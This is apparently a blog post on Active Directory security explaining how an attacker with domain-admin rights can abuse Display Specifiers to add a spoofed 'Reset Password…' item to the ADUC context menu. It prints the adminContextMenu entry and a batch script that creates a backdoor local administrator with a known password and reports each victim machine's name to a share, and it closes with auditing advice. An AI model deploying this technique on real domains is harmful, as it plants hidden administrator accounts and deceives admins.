This post is a bit of a departure as I’m going to talk about Active Directory security rather than specifically about Group Policy. I was reminded recently about a feature in AD that I haven’t used in nearly 20 years. This feature is based on an area in the Configuration partition within a given AD forest called Display Specifiers. I’m sure these have many roles within AD, but the one I’m interested in is their ability to let you add custom context menu extensions to MMC-based AD tools. This is a capability, as I said, that has existed for years. When I first used it, I had written a utility to allow some user management tasks for AD users. I used Display Specifiers to add a new menu item to the AD Users and Computers (ADUC) MMC snap-in, for our internal IT admins. Whenever they right-clicked on a user object in ADUC, my menu option would appear and when they selected the option, it would run a script in the background against that user object. Display Specifiers also have the ability to add property sheets to the Properties page within a given object class, as long as you’re willing to write some COM code :-).
Display Specifiers look like this:
Display Specifiers in the Configuration partition
You’ll noticed that the containers on the left are organized by numeric values. These correspond to the hexadecimal language codes for each locale. I’ve highlighted 409 because that’s the hex value for EN-US or English-US, which is my default culture. You can see a full list of these codes here.
Within each language code container, you’ll notice a set of displaySpecifier class objects, to the right. Each of these represents the object class you can modify context menu behavior for, among other things. For example, if we want to add a context menu to user objects in ADUC, we will select the CN=user-Display object, and modify the appropriate attributes on this object.
Display Specifiers Behaving Badly
OK, so there’s a couple of things to know before we get started. First of all, in order to abuse display specifiers, from a security perspective, you would need to be a privileged user. By default (emphasis on “default”), only members of Domain Admins and Enterprise Admins can write to these objects. So, abusing these objects assumes you’ve already gained domain dominance, which highly mitigates the power of this. But, this mechanism does provide a stealthy way to do bad things to an environment. For example, if a Domain Admin member is compromised, anything he or she does is very visible to standard monitoring, but if the attacker is able to take over a not-so-obvious administrative account, they may be able to move around the environment more stealthily. This is where using Display Specifiers could come in handy. In my example, what I’m doing is adding a new context menu to user objects. I’m calling my context menu item “Reset Password…”, just like the existing menu option of the same name, built into ADUC for user objects, as shown here:
As you can see from this screen shot, I now have two Reset Password options. Which one is right? The typical ADUC user is usually an administrator with some kind of privileged access to AD, and, probably unsuspecting when it comes to seeing an artifact like this. They might choose the right one (the top one) or the wrong one (the bottom one) depending upon what they see first. If they choose the second one, then my modified display specifier takes over. So let’s look at that. If you open ADSIEdit and connect to the Configuration Naming Context, you’ll see the screen above. Once I’ve selected the appropriate language-code folder (in my case CN=409 for EN-us) in the right-hand pane, I’m going to navigate to the CN=user-Display object and view it’s properties. From the Attribute Editor, find the adminContextMenu attribute. It’s a multi-valued attribute that likely already contains some entries in the form of <index>, <GUID of control or property sheet>. I’m going to add my custom “Reset Password” entry to this list in the form of:
2,Reset Password…,\\gpaa\packages\resetpw.bat
Where the first entry is the index I want to it to appear at, the 2nd is the name of the menu item and the third is what I want to execute when the user chooses that menu item. In this example above, I’m calling a batch file from a share. You can see what this looks like on the live attribute here:
Viewing a modified Display Specifier
I refer to a UNC share because remember that this menu item will be called by any user of ADUC from any workstation–so I needed that user to be able to call my batch file from anywhere. You could also use built-in commands to execute locally, but I haven’t played around with passing parameters to commands within Display Specifiers, so not sure it will work. In any case, my batch file is pretty simple. I’m relying on the fact that someone using ADUC may indeed be an administrator on their workstation and so they can do pretty much anything when they run my script. So the “resetpw.bat” script looks like this:
net user badguy password /add
net localgroup administrators badguy /add
echo gotcha > \\gpaa\packages\%computername%.txt
So basically I create a new local account on the machine with a known password, I add that account to the local administrators group, then I create a little file on my share that tells me what machine name just ran my script. Voila!
Defending Against Display Specifier Abuse
Obviously none of this works if the attacker doesn’t have write permissions on Display Specifiers. So unless they’ve already compromised your domain, or you’ve modified the default delegation on this part of the Configuration NC, you probably don’t have to worry about this. But, if you do have any kind of AD auditing solution in place, you should definitely keep an eye out on changes to these objects. There’s probably not very many legitimate reasons why these would change normally.